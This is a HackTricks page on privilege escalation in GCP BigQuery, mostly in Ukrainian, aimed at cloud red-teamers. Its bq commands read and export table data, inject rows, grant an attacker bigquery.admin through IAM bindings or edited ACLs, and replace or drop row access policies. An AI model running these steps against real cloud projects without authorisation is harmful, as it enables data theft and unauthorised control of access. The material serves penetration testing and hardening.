GCP - BigQuery Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

BigQuery

Для отримання додаткової інформації про BigQuery перегляньте:

GCP - Bigquery Enum

Read Table

Читання інформації, що зберігається в таблиці BigQuery, може дозволити знайти чутливу інформацію. Для доступу до інформації потрібні дозволи bigquery.tables.get, bigquery.jobs.create та bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Експорт даних

Це ще один спосіб доступу до даних. Експортуйте їх у хмарне сховище і завантажте файли з інформацією. Для виконання цієї дії потрібні наступні дозволи: bigquery.tables.export, bigquery.jobs.create та storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Вставка даних

Можливо, що ввести певні довірені дані в таблицю Bigquery, щоб зловживати вразливістю в іншому місці. Це можна легко зробити з правами bigquery.tables.get, bigquery.tables.updateData та bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Зловмисник може зловживати цим правом, щоб надати собі додаткові дозволи на набір даних BigQuery:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Ця дозволяє оновити ваш доступ до набору даних BigQuery, змінюючи ACL, які вказують, хто може отримати доступ до нього:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

Зловмисник може зловживати цим правом, щоб надати собі додаткові дозволи на таблицю BigQuery:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Згідно з документацією, з вказаними дозволами можливо оновити політику рядка. Однак, використовуючи cli bq вам потрібно ще дещо: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:[e-mail]>") FILTER USING (term = "Cfba");' # A example filter was used

Можливо знайти ID фільтра у виході перерахування політик рядків. Приклад:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:[e-mail]   21 Jan 23:32:09   21 Jan 23:32:09

Якщо у вас є bigquery.rowAccessPolicies.delete замість bigquery.rowAccessPolicies.update, ви також можете просто видалити політику:

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Ще один потенційний варіант обійти політики доступу до рядків полягає в тому, щоб просто змінити значення обмежених даних. Якщо ви можете бачити лише тоді, коли term є Cfba, просто змініть всі записи таблиці, щоб мати term = "Cfba". Однак це заважає bigquery.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.